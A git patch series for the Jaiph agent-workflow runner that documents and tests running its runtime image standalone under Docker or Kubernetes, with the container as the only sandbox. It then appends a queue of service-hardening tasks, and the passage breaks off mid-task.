Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, zero new dependencies, never load-bearing ([Export traces to an OTLP collector](docs/observability.md)). - **Sentry error reporting** — set the standard `SENTRY_DSN` and every failed run (nonzero exit or a signal) is pushed to Sentry as one error event — workflow, failing step, a redacted output excerpt, and a run-dir pointer — so operators get alerting and grouping without scraping run dirs. Host-side, redacted, zero new dependencies, never load-bearing; successful runs send nothing ([Report failed runs to Sentry](docs/observability.md#report-failed-runs-to-sentry)). +- **Standalone deployment** — the published `ghcr.io/jaiphlang/jaiph-runtime` image bakes `JAIPH_UNSAFE=true`, so `docker run … jaiph run flow.jh` (or a Kubernetes pod) runs workflows directly — put credentials plus `.jh` files and go, no host jaiph process and no Docker daemon inside the container. Here the container/pod boundary *is* the sandbox — there is no jaiph-managed isolation ([Deploy the runtime image standalone](docs/deploy.md)). ## Core components diff --git a/docs/_layouts/docs.html b/docs/_layouts/docs.html index 01546c26..26602410 100644 --- a/docs/_layouts/docs.html +++ b/docs/_layouts/docs.html @@ -57,6 +57,7 @@

  • Serve workflows as MCP tools
  • Serve workflows over HTTP
  • Export traces (OTLP)
  • +
  • Deploy the runtime image
  • Reference
  • CLI
  • Configuration
  • diff --git a/docs/deploy.md b/docs/deploy.md new file mode 100644 index 00000000..09a3861d --- /dev/null +++ b/docs/deploy.md @@ -0,0 +1,84 @@ +--- +title: Deploy the runtime image standalone +permalink: /how-to/deploy +diataxis: how-to +--- + +# Deploy Jaiph as a standalone runtime image + +The published runtime image — `ghcr.io/jaiphlang/jaiph-runtime` (built from `runtime/Dockerfile`) — already contains `jaiph`, the `claude` / `cursor` / `codex` agent backends, and a full engineering toolchain. This guide runs that image **as the runner itself**: `docker run` on any Linux box, in CI, or as a Kubernetes pod. You supply credentials and `.jh` files; the container does the rest. No host `jaiph` process and no host Docker daemon are involved. + +For the host-orchestrated Docker *sandbox* — where a host `jaiph run` clones your workspace and launches this same image as a disposable rootfs — see [Run in a Docker sandbox](sandbox-run.md) and [Sandboxing](sandboxing.md) instead. This page is the opposite direction: the image *is* the deployment. + +## Security posture: there is no jaiph-managed sandbox + +Read this before deploying. In standalone mode **Jaiph does not create a sandbox**. Isolation is whatever your deployment already provides — the container or pod boundary — and nothing more: + +- The image bakes `ENV JAIPH_UNSAFE=true`, so `jaiph run` executes **on the host** (which, here, is the container). This is correct and deliberate: inside the container the container *is* the sandbox, and jaiph must not try to launch a nested Docker daemon (there is none). It also means the [snapshot / gitignore filtering](sandboxing.md#snapshot-content) that the host-orchestrated Docker sandbox performs does **not** happen. Every file you mount is visible to scripts and agent backends verbatim — gitignored secrets included. +- **Workspace content policy is the operator's responsibility.** Unlike the host-orchestrated snapshot sandbox (which never even copies a gitignored `.env` into the container), a standalone container reads exactly what you mount. Do not mount secrets you would not hand to the agent, and treat everything under the mounted workspace as disclosed to the run. +- Container/pod hardening (read-only root FS, dropped capabilities, network policy, non-root UID, resource limits) is yours to configure at the deployment layer. Jaiph adds none of it in standalone mode. + +Contrast: under the host-orchestrated sandbox ([Sandboxing](sandboxing.md)) Jaiph drops caps, filters the workspace to a git-defined snapshot, and enforces an env allowlist. Standalone mode has none of those — the boundary is the container runtime you chose. + +## One-shot: `docker run` + +Mount your working directory at `/work`, set it as the working directory, and spell the full command (the image sets **no `ENTRYPOINT`**, so `jaiph run …` is the container command verbatim): + +```bash +# claude backend (Anthropic) +docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work \ + ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh +``` + +The credential env var depends on the backend the entry file selects: + +```bash +# cursor backend +docker run --rm -e CURSOR_API_KEY -v "$PWD":/work -w /work \ + ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh + +# codex backend (OpenAI HTTP API) +docker run --rm -e OPENAI_API_KEY -v "$PWD":/work -w /work \ + ghcr.io/jaiphlang/jaiph-runtime jaiph run flow.jh +``` + +`-e ANTHROPIC_API_KEY` (no `=value`) forwards the value from your shell environment. A workflow with no `prompt` step needs no credential at all. Run artifacts land under `/work/.jaiph/runs/` — which, because `/work` is your bind-mounted directory, persist on the host after the container exits. + +Pin the tag (or a `@sha256:` digest) for reproducibility: `ghcr.io/jaiphlang/jaiph-runtime:`. + +## In CI + +The image is not required in CI. Jaiph already runs headless on a standard Linux runner without it — `.github/workflows/nightly-engineer.yml` installs jaiph via `docs/install-from-local.sh` (which also builds `runtime/Dockerfile` and registers it as the sandbox image), installs the agent CLI, and runs a workflow unattended in the normal [Docker sandbox](sandboxing.md). A GitHub-hosted Linux runner is itself a VM with a Docker daemon, so that path keeps the host-orchestrated sandbox and needs no published image. + +Reach for this image when you want the whole toolchain and all three backends preinstalled with nothing to build. Because the container has no nested Docker daemon and the image bakes `JAIPH_UNSAFE=true`, it runs host-mode (the container is the sandbox), and the `docker run` one-shot above drops straight into any CI step: + +```yaml +- name: Run workflow + run: | + docker run --rm -e ANTHROPIC_API_KEY -v "$PWD":/work -w /work \ + ghcr.io/jaiphlang/jaiph-runtime: jaiph run flow.jh +``` + +## Kubernetes + +A complete, apply-ready manifest lives at [`docs/deploy/k8s.yaml`](https://github.com/jaiphlang/jaiph/blob/main/docs/deploy/k8s.yaml). It defines a **Deployment**, a **Secret** for backend credentials (and the serve token), and a **Service**. Validate it without a cluster: + +```bash +kubectl apply --dry-run=client -f docs/deploy/k8s.yaml +``` + +The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see [Serve workflows over HTTP](serve.md)) with `JAIPH_SERVE_TOKEN` sourced from the Secret, and liveness/readiness probes on `GET /healthz` (which stays open — no bearer token required). Highlights, all reflected in the file: + +- **Image tag pinning.** The manifest ships `:nightly` with an inline note to pin a released tag or a `@sha256:` digest for production — never track a moving tag. +- **TLS via ingress.** `jaiph serve` speaks plain HTTP; the Service stays `ClusterIP` and you terminate TLS at an Ingress / gateway (cert-manager, a cloud LB, or a mesh) in front of it. Do not expose the token-guarded API to the internet without TLS. +- **Resource requests.** Agent workloads are CPU- and memory-hungry — they spawn backend CLIs plus build/test toolchains. The manifest requests `1` CPU / `2Gi` and limits `2` CPU / `4Gi` as a starting point; tune to your workflows. +- **Auth.** Binding `0.0.0.0` without `JAIPH_SERVE_TOKEN` is a startup error by design, so the Secret is mandatory. Every `/v1/*` request then requires `Authorization: Bearer `. + +The same security posture applies: the pod runs in host mode (`JAIPH_UNSAFE=true` is baked), so **isolation is the pod boundary you configure** — there is no jaiph-managed sandbox inside. + +## Related + +- [Sandboxing](sandboxing.md) — the host-orchestrated Docker sandbox model this mode deliberately opts out of. +- [Serve workflows over HTTP](serve.md) — the `jaiph serve` API the Kubernetes manifest exposes. +- [Run in a Docker sandbox](sandbox-run.md) — the other direction: a host `jaiph` orchestrating this image as a disposable sandbox. +- [Environment variables](env-vars.md) — `JAIPH_UNSAFE`, `JAIPH_SERVE_TOKEN`, and the rest. diff --git a/docs/deploy/k8s.yaml b/docs/deploy/k8s.yaml new file mode 100644 index 00000000..1e024a1e --- /dev/null +++ b/docs/deploy/k8s.yaml @@ -0,0 +1,125 @@ +# Standalone Jaiph on Kubernetes — long-lived HTTP runner. +# +# This runs the published runtime image directly as a Deployment: the image +# already contains `jaiph`, the claude/cursor/codex backends, and a full +# toolchain, and it bakes `JAIPH_UNSAFE=true`, so the pod runs workflows in +# host mode — the pod boundary IS the sandbox (there is no jaiph-managed Docker +# sandbox in standalone mode). See docs/deploy.md for the security posture. +# +# Validate without a cluster: +# kubectl apply --dry-run=client -f docs/deploy/k8s.yaml +# +# The workflow file is supplied here via a ConfigMap mounted at /work for a +# self-contained example; a real deployment usually bakes workflows into a +# derived image or mounts them from a volume / git-sync sidecar instead. +--- +apiVersion: v1 +kind: Secret +metadata: + name: jaiph-credentials + labels: + app: jaiph-runner +type: Opaque +stringData: + # HTTP API bearer token. `jaiph serve` refuses to bind a non-loopback host + # (0.0.0.0) unless this is set — every /v1/* request then requires + # `Authorization: Bearer `. Replace with a real secret (e.g. via a + # sealed-secret / external-secrets operator) before applying to a cluster. + JAIPH_SERVE_TOKEN: "replace-me-with-a-long-random-token" + # Backend credentials — set only the one(s) your workflows use. + # claude -> ANTHROPIC_API_KEY (or CLAUDE_CODE_OAUTH_TOKEN) + # cursor -> CURSOR_API_KEY + # codex -> OPENAI_API_KEY + ANTHROPIC_API_KEY: "replace-me" +--- +apiVersion: v1 +kind: ConfigMap +metadata: + name: jaiph-workflows + labels: + app: jaiph-runner +data: + tools.jh: | + # health — trivial workflow proving the runner is live. + export workflow health() { + return "ok" + } +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: jaiph-runner + labels: + app: jaiph-runner +spec: + replicas: 1 + selector: + matchLabels: + app: jaiph-runner + template: + metadata: + labels: + app: jaiph-runner + spec: + containers: + - name: jaiph + # Pin the image tag (or, better, a @sha256 digest) for reproducible + # rollouts — do NOT track a moving tag like :nightly in production. + image: ghcr.io/jaiphlang/jaiph-runtime:nightly + # The image sets no ENTRYPOINT, so spell the full command. + command: ["jaiph", "serve", "--host", "0.0.0.0", "/work/tools.jh"] + ports: + - name: http + containerPort: 5247 + envFrom: + - secretRef: + name: jaiph-credentials + volumeMounts: + - name: workflows + mountPath: /work + # /healthz stays open (no bearer token required) and is served as soon + # as the HTTP listener is up. + readinessProbe: + httpGet: + path: /healthz + port: http + initialDelaySeconds: 5 + periodSeconds: 10 + livenessProbe: + httpGet: + path: /healthz + port: http + initialDelaySeconds: 15 + periodSeconds: 20 + # Agent workloads are CPU- and memory-hungry (they spawn backend CLIs + # plus build/test toolchains). Size generously and tune to your flows. + resources: + requests: + cpu: "1" + memory: 2Gi + limits: + cpu: "2" + memory: 4Gi + volumes: + - name: workflows + configMap: + name: jaiph-workflows +--- +apiVersion: v1 +kind: Service +metadata: + name: jaiph-runner + labels: + app: jaiph-runner +spec: + selector: + app: jaiph-runner + ports: + - name: http + port: 80 + targetPort: http + type: ClusterIP +# TLS: keep the Service ClusterIP and terminate TLS at an Ingress / gateway in +# front of it (cert-manager, a cloud LB, or a service mesh). `jaiph serve` +# speaks plain HTTP; do not expose it to the internet without TLS termination +# and the JAIPH_SERVE_TOKEN bearer check above. diff --git a/docs/env-vars.md b/docs/env-vars.md index c74ada87..94b6e83b 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -85,7 +85,7 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | | `JAIPH_STDLIB` | host | path | — | — | Removed from the product. Stripped from the launched env. | | `JAIPH_TEST_MODE` | runtime | bool (exact `"1"`) | `false` | — | Set by `jaiph test` so the runtime skips production-only branches (e.g. file-mode normalization). | -| `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the `jaiph run` flag form. When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. | +| `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the `jaiph run` flag form. When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox; see [Deploy](deploy.md). | | `JAIPH_WORKSPACE` | host, runtime | path | autodetected | — | Workspace root. Inside Docker the host CLI overrides this to `/jaiph/workspace`. | diff --git a/docs/index.html b/docs/index.html index 8128cc5a..8b915bc9 100644 --- a/docs/index.html +++ b/docs/index.html @@ -580,6 +580,12 @@

    Runtime

    pointer — so operators get alerting and grouping without scraping run dirs. Host-side, redacted, with zero new dependencies, never load-bearing; successful runs send nothing. See Report failed runs to Sentry.

    +

    Standalone deployment. The published + ghcr.io/jaiphlang/jaiph-runtime image bakes JAIPH_UNSAFE=true, so + docker run … jaiph run flow.jh (or a Kubernetes pod) runs workflows directly — + put credentials plus .jh files and go, with no host Jaiph process and no Docker daemon + inside the container. Here the container/pod boundary is the sandbox; there is no + jaiph-managed isolation. See Deploy the runtime image standalone.

    Samples

    Jaiph source code is built mostly with real Jaiph workflows. The diff --git a/docs/sandboxing.md b/docs/sandboxing.md index 18a6299b..f8c41b52 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -263,4 +263,5 @@ Custom images are supported via `JAIPH_DOCKER_IMAGE` / `runtime.docker_image`; t - [Architecture — Docker runtime helper](architecture.md#core-components) — the spawn, mount, and event-stream wiring. - [Architecture — Channels and hooks in context](architecture.md#channels-and-hooks-in-context) — why hooks run on the host even for containerized runs. +- [Deploy the runtime image standalone](deploy.md) — running the runtime image directly (`docker run` / Kubernetes) where the container *is* the sandbox and there is no jaiph-managed isolation. - [Why Jaiph](why-jaiph.md) — the design context that puts the sandbox into the broader picture. diff --git a/docs/setup.md b/docs/setup.md index 0a26a3b3..63666231 100644 --- a/docs/setup.md +++ b/docs/setup.md @@ -91,4 +91,5 @@ For maintainer setup, see [Contributing — Release signing](contributing.md#rel ## Related - [Architecture — Distribution: Node vs Bun standalone](architecture.md#distribution-node-vs-bun-standalone) — what the installer downloads and why the binary is self-contained. +- [Deploy the runtime image standalone](deploy.md) — skip installing entirely: run the prebuilt `ghcr.io/jaiphlang/jaiph-runtime` image directly via `docker run` or Kubernetes. - [Why Jaiph](why-jaiph.md) — the design context behind the single-binary distribution. diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 88fe6cf1..f2ebda79 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -105,6 +105,7 @@ TEST_SCRIPTS=( "e2e/tests/141_mcp_docker_sandbox.sh" "e2e/tests/147_serve_http_api.sh" "e2e/tests/146_trusted_envs.sh" + "e2e/tests/148_standalone_image.sh" "e2e/tests/210_standalone_binary.sh" ) diff --git a/e2e/tests/148_standalone_image.sh b/e2e/tests/148_standalone_image.sh new file mode 100755 index 00000000..e6e6d7c2 --- /dev/null +++ b/e2e/tests/148_standalone_image.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "standalone_image" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then + e2e::section "standalone runtime image (skipped — Docker unavailable)" + e2e::skip "Docker is not available, skipping standalone image smoke test" + exit 0 +fi + +if ! e2e::ensure_docker_test_image; then + e2e::section "standalone runtime image (skipped — test image build failed)" + e2e::skip "Could not build local Docker test image" + exit 0 +fi + +e2e::section "standalone image — put credentials + jaiph files and run it" + +# A workflow that returns a value. No prompt/agent step, so no credentials are +# needed; the point is that `jaiph run` works with no host orchestrator and no +# Docker daemon inside the container, purely off the image's baked JAIPH_UNSAFE. +e2e::file "hello.jh" <<'EOF' +workflow default() { + return "standalone-ok" +} +EOF + +# Run the image standalone, exactly as the docs one-shot does. We do NOT pass +# -e JAIPH_UNSAFE: host mode must come from the ENV baked into the image. There +# is no Docker daemon inside the container, so if the baked ENV were missing the +# inner run would abort with E_DOCKER_NOT_FOUND instead of exiting 0. +# --user matches the host UID so the bind-mounted run artifacts are writable and +# readable back by the test harness. +docker run --rm \ + --user "$(id -u):$(id -g)" \ + -v "${TEST_DIR}":/work -w /work \ + "${E2E_DOCKER_TEST_IMAGE}" \ + jaiph run hello.jh >/dev/null + +# The return value must round-trip to the durable return_value.txt artifact. +return_file="$(find "${TEST_DIR}/.jaiph/runs" -name return_value.txt | head -n 1)" +if [[ -z "${return_file}" ]]; then + echo "FAIL: no return_value.txt produced by standalone run" >&2 + exit 1 +fi +return_value="$(cat "${return_file}")" +e2e::assert_equals "${return_value}" "standalone-ok" "standalone return value round-trip" diff --git a/runtime/Dockerfile b/runtime/Dockerfile index 98bcb127..d5dfabda 100644 --- a/runtime/Dockerfile +++ b/runtime/Dockerfile @@ -243,4 +243,14 @@ USER root RUN find /home/jaiph -type d -exec chmod 1777 {} + USER jaiph +# Default to host-mode execution: inside this image, the container IS the +# sandbox, so jaiph must not try to launch a nested Docker daemon (there is +# none), and the interactive `--unsafe` confirmation is impossible/meaningless +# in an unattended pod. This only affects the image run *standalone* +# (`docker run … jaiph run flow.jh`, or as a k8s pod); when the image is used +# as a host-orchestrated sandbox rootfs the inner invocation is +# `jaiph run --raw`, which never launches Docker regardless of JAIPH_UNSAFE, so +# host-orchestrated sandbox behavior is unchanged. See docs/deploy.md. +ENV JAIPH_UNSAFE=true + WORKDIR /jaiph/workspace diff --git a/src/runtime/docker-inplace.test.ts b/src/runtime/docker-inplace.test.ts index 0f7945af..0ece1c59 100644 --- a/src/runtime/docker-inplace.test.ts +++ b/src/runtime/docker-inplace.test.ts @@ -4,7 +4,10 @@ import { formatInplaceWarning, formatUnsafeWarning, UNSAFE_RUN_LOGWARN_MESSAGE, + confirmUnsafeRun, + _inplacePrompt, } from "./docker-inplace"; +import { _containerIndicator } from "./docker"; test("formatInplaceWarning: lean scope copy with workspace path", () => { const ws = "/Users/me/projects/jaiph"; @@ -29,3 +32,46 @@ test("UNSAFE_RUN_LOGWARN_MESSAGE: present-tense runtime warning", () => { assert.match(UNSAFE_RUN_LOGWARN_MESSAGE, /You are running/); assert.match(UNSAFE_RUN_LOGWARN_MESSAGE, /unsafe mode with no sandboxing/); }); + +test("confirmUnsafeRun: inside a container, proceeds without prompting (non-TTY, no auto-confirm)", async () => { + const origPresent = _containerIndicator.present; + const origAsk = _inplacePrompt.ask; + const origWrite = process.stderr.write.bind(process.stderr); + let asked = false; + let notice = ""; + try { + _containerIndicator.present = () => true; + _inplacePrompt.ask = async () => { + asked = true; + return false; + }; + (process.stderr as any).write = (chunk: string) => { + notice += chunk; + return true; + }; + // No JAIPH_INPLACE_YES, stdin not a TTY: on a host this would throw + // E_UNSAFE_NO_CONFIRM. Inside a container it must proceed instead. + const proceed = await confirmUnsafeRun("/work", {}, false); + assert.equal(proceed, true, "container run must proceed unattended"); + assert.equal(asked, false, "must not open an interactive prompt in a container"); + assert.match(notice, /the container is the sandbox/); + } finally { + _containerIndicator.present = origPresent; + _inplacePrompt.ask = origAsk; + (process.stderr as any).write = origWrite; + } +}); + +test("confirmUnsafeRun: not in a container + non-TTY + no auto-confirm still throws E_UNSAFE_NO_CONFIRM", async () => { + const origPresent = _containerIndicator.present; + try { + _containerIndicator.present = () => false; + await assert.rejects( + () => confirmUnsafeRun("/work", {}, false), + /E_UNSAFE_NO_CONFIRM/, + "host non-TTY unsafe run without consent must still abort", + ); + } finally { + _containerIndicator.present = origPresent; + } +}); diff --git a/src/runtime/docker-inplace.ts b/src/runtime/docker-inplace.ts index bf20410c..4bc2851f 100644 --- a/src/runtime/docker-inplace.ts +++ b/src/runtime/docker-inplace.ts @@ -1,4 +1,5 @@ import { createInterface } from "node:readline"; +import { isRunningInContainer } from "./docker"; /** Runtime tree warning emitted at the start of every consented unsafe host-only run. */ export const UNSAFE_RUN_LOGWARN_MESSAGE = @@ -106,6 +107,18 @@ export async function confirmUnsafeRun( if (isAutoConfirmed(env)) { return true; } + // Inside a container the container IS the sandbox: host-only execution is the + // correct posture, the "full access to your machine" warning is meaningless + // (there is no host to endanger), and an unattended pod has no TTY to confirm. + // Proceed with a one-line notice instead of prompting or aborting — mirrors + // the win32 host-only override. This is what lets the runtime image, which + // bakes JAIPH_UNSAFE=true, run standalone (docker run … jaiph run flow.jh). + if (isRunningInContainer()) { + process.stderr.write( + "jaiph: running host-only inside a container (the container is the sandbox).\n", + ); + return true; + } if (!isTTY) { throw new Error( "E_UNSAFE_NO_CONFIRM jaiph unsafe mode (host-only, no sandbox) requires interactive confirmation, " + diff --git a/src/runtime/docker.test.ts b/src/runtime/docker.test.ts index 060b58eb..36eccc28 100644 --- a/src/runtime/docker.test.ts +++ b/src/runtime/docker.test.ts @@ -25,6 +25,8 @@ import { stopDockerRunOnSignal, spawnDockerProcess, withDockerExitGuard, + checkDockerAvailable, + _containerIndicator, _dockerExec, _dockerSpawn, _cpSpawn, @@ -277,6 +279,53 @@ test("checkDockerAvailable: E_DOCKER_NOT_FOUND message mentions JAIPH_UNSAFE", ( ); }); +test("checkDockerAvailable: container indicator present → 'container is the sandbox' guidance", () => { + const origExec = _dockerExec.run; + const origPresent = _containerIndicator.present; + try { + // Docker unavailable + a container indicator present (as inside the runtime + // image run standalone): the error must steer the user to JAIPH_UNSAFE=true. + _dockerExec.run = () => { + throw new Error("docker not found"); + }; + _containerIndicator.present = () => true; + assert.throws( + () => checkDockerAvailable(), + (err: Error) => + /E_DOCKER_NOT_FOUND/.test(err.message) && + /running inside a container already/.test(err.message) && + /JAIPH_UNSAFE=true/.test(err.message) && + /the container is the sandbox/.test(err.message), + "container-detection path must tell the user to set JAIPH_UNSAFE=true", + ); + } finally { + _dockerExec.run = origExec; + _containerIndicator.present = origPresent; + } +}); + +test("checkDockerAvailable: no container indicator → existing error unchanged", () => { + const origExec = _dockerExec.run; + const origPresent = _containerIndicator.present; + try { + _dockerExec.run = () => { + throw new Error("docker not found"); + }; + _containerIndicator.present = () => false; + assert.throws( + () => checkDockerAvailable(), + (err: Error) => + /E_DOCKER_NOT_FOUND docker is not available\. Install Docker/.test(err.message) && + /JAIPH_UNSAFE=true to run on the host/.test(err.message) && + !/running inside a container already/.test(err.message), + "without a container indicator the original install-Docker error must be unchanged", + ); + } finally { + _dockerExec.run = origExec; + _containerIndicator.present = origPresent; + } +}); + // --------------------------------------------------------------------------- // buildDockerArgs: snapshot mode (host clone bound rw at /jaiph/workspace) // --------------------------------------------------------------------------- diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index 1e198a4b..11abe1f3 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -220,10 +220,41 @@ export const _uidDetect = { // Docker availability // --------------------------------------------------------------------------- +/** + * Test seam for the container-indicator probe. `/.dockerenv` (Docker) and + * `/run/.containerenv` (Podman / CRI runtimes) mark that the current process is + * already running inside a container. Injectable so the container-detection + * error path can be unit-tested without a real container. + */ +export const _containerIndicator = { + present(): boolean { + return existsSync("/.dockerenv") || existsSync("/run/.containerenv"); + }, +}; + +/** + * True when jaiph is running inside a container (Docker `/.dockerenv` or a + * Podman / CRI `/run/.containerenv` marker). In that case the container itself + * is the sandbox boundary. + */ +export function isRunningInContainer(): boolean { + return _containerIndicator.present(); +} + export function checkDockerAvailable(): void { try { _dockerExec.run(["info"], { stdio: "ignore", timeout: 10_000 }); } catch { + // Docker is unavailable. If a container indicator is present we are almost + // certainly running the runtime image directly (docker run / a k8s pod), so + // there is no nested Docker daemon to reach — point the user at the standalone + // story rather than telling them to install Docker. + if (isRunningInContainer()) { + throw new Error( + "E_DOCKER_NOT_FOUND docker is not available, and jaiph is running inside a container already. " + + "Set JAIPH_UNSAFE=true to run in host mode (the container is the sandbox). See https://jaiph.org/deploy for details.", + ); + } throw new Error("E_DOCKER_NOT_FOUND docker is not available. Install Docker and ensure the daemon is running, or set JAIPH_UNSAFE=true to run on the host (no sandbox)."); } } From 0504ea1cea06ed2b95a2fe586136e94855e3a28f Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 12:16:23 +0200 Subject: [PATCH 06/24] Chore: queue service hardening work for Fable Record the deployment review as executable tasks and use Fable for their implementation. Co-authored-by: Cursor --- .jaiph/engineer.jh | 2 +- QUEUE.md | 180 +++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 181 insertions(+), 1 deletion(-) diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index bf137a52..fc604ecc 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -233,7 +233,7 @@ workflow classify_role(task) { workflow implement(task, role_name) { config { - agent.model = "opus" + agent.model = "fable" } run task_text_has_header(task) catch (err) { diff --git a/QUEUE.md b/QUEUE.md index 64f890c3..cb144034 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,3 +13,183 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** + +## Redact credentials from every workflow result surface #dev-ready + +`src/cli/exec/call.ts` builds failed-call text from live stderr events, while the durable journal is credential-redacted. As a result, `jaiph serve` can return a secret in `result_text` and `jaiph mcp` can return it in a tool error even though events, OTLP, and Sentry redact the same value. + +Scope: + +- Build failed-step details and other returned output from redacted data, using one redaction boundary shared by HTTP and MCP. +- Cover `failedStep.detail`, raw stderr/stdout, and collected log messages; do not rely only on the durable event endpoint. +- Keep successful return values unchanged: workflow return values are intentional API output, not diagnostic capture. + +Acceptance: + +- An integration workflow that prints a credential-like env value and fails never exposes the value through `?wait=true`, `GET /v1/runs/{id}`, or an MCP tool result. +- The same test proves `[REDACTED]` is returned where diagnostic context is retained. +- Existing event-journal, OTLP, and Sentry redaction tests still pass. + +## Keep MCP generations alive while calls are in flight #dev-ready + +`jaiph mcp` handles tool calls concurrently, but hot reload immediately deletes the previous generation's scripts directory. A call started just before reload can still need those scripts. Signal shutdown also removes the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounts generations; MCP needs the same lifecycle guarantee. + +Scope: + +- Share or mirror the generation lease/refcount model for MCP and HTTP. +- Delete a superseded generation only after its last call settles. +- On stdin close, drain active calls before cleanup. On SIGINT/SIGTERM, use a documented drain-then-cancel policy and stop Docker containers as well as child processes. + +Acceptance: + +- A slow MCP call started before a source reload completes successfully after the new generation is active. +- Concurrent calls spanning multiple reloads use the generation captured at call start and leave no generation directories after all calls settle. +- Shutdown tests prove no active call reads deleted scripts and no child process/container is orphaned. + +## Make the Kubernetes example runnable and hardened by default #dev-ready + +The current manifest mounts the workflow ConfigMap read-only at `/work`, while standalone host mode writes runs under `/work/.jaiph/runs`; the example is schema-valid but cannot complete a real run. It also ships publicly known placeholder secrets and omits the pod hardening that `docs/deploy.md` says the operator must supply. + +Scope: + +- Mount a writable `emptyDir` or PVC for `JAIPH_RUNS_DIR` without making workflow sources writable. +- Remove applyable placeholder credentials from the base manifest; document and validate an external Secret contract. +- Add `runAsNonRoot`, fixed UID/GID, `allowPrivilegeEscalation: false`, dropped capabilities, a runtime-default seccomp profile, and disabled service-account token mounting. +- Provide writable mounts only for paths genuinely required by Jaiph and agent CLIs; keep the remaining filesystem read-only where feasible. +- Add optional OTLP and Sentry env wiring examples without embedding credentials. + +Acceptance: + +- A Kind-based test applies the manifest, invokes the HTTP workflow with auth, observes a successful run, and reads its journal from the writable runs volume. +- The pod runs as non-root and the test fails if privilege escalation, capabilities, or the default service-account token are reintroduced. +- `kubectl apply --dry-run=client` remains a fast schema check, but is not the only deployment test. + +## Bound HTTP service memory, output, and run retention #dev-ready + +The concurrency cap limits active children but not process memory. The in-memory run map grows forever, completed `result_text` stays resident forever, and raw child stdout/stderr/log accumulation is not bounded. An authenticated caller can exhaust a long-lived service. + +Scope: + +- Add explicit byte caps for collected stdout, stderr, logs, and public `result_text`, with a visible truncation marker. +- Add configurable completed-run retention by count and age; active runs must never be evicted. +- Paginate `GET /v1/runs` with a bounded default and maximum page size. +- Keep durable journals/artifacts independent from in-memory eviction and document their disk-retention responsibility. + +Acceptance: + +- Runs producing output beyond every cap keep the process within a tested memory bound and return deterministic truncation markers. +- More completed runs than the configured limit evicts only the oldest terminal records. +- Run listing cannot return an unbounded response, and pagination order is stable. +- Concurrency, cancellation, SSE, and artifact tests continue to pass. + +## Make HTTP request, event, and artifact I/O scale with bytes transferred #dev-ready + +The HTTP layer still performs avoidable whole-resource work: an aborted request body can leave `readBody` pending, SSE repeatedly scans historical run directories until `run_dir` is known, each SSE poll rereads the whole journal, and artifact downloads load the complete file into memory. + +Scope: + +- Settle request-body reads on `aborted`/premature `close` and stop all associated work. +- Cache `run_id -> run_dir` as soon as it is first resolved so a live SSE stream does not repeatedly scan the runs tree. +- Follow journals with an open file descriptor and byte offset instead of rereading prior bytes on every poll. +- Stream artifacts with backpressure and an explicit configurable size policy; do not buffer the complete artifact. + +Acceptance: + +- Destroying a request mid-upload settles its handler promptly and leaves no request or run slot occupied. +- With many historical runs, one live SSE connection performs at most one full run-directory resolution scan. +- Instrumented SSE tests prove bytes before the current offset are not reread. +- A multi-gigabyte sparse artifact can be served with bounded process memory, and disconnecting the client closes the file stream. + +## Use one execution-policy contract across run, serve, and MCP #dev-ready + +The shared parser accepts flags for every command, but commands silently ignore options they do not destructure. For example, `jaiph serve --unsafe` and `jaiph mcp --inplace` parse successfully but do not apply those flags. `run` exposes sandbox flags while long-lived modes require env vars, creating different mental models for the same execution engine. + +Scope: + +- Define shared options for `--workspace`, repeatable `--env`, `--inplace`, `--unsafe`, and `--yes`; support them consistently in `run`, `serve`, and `mcp`. +- Define and document one precedence order across CLI flags, `JAIPH_*` env vars, and workflow runtime metadata. +- Reject mutually exclusive posture and all command-specific unsupported flags as usage errors instead of 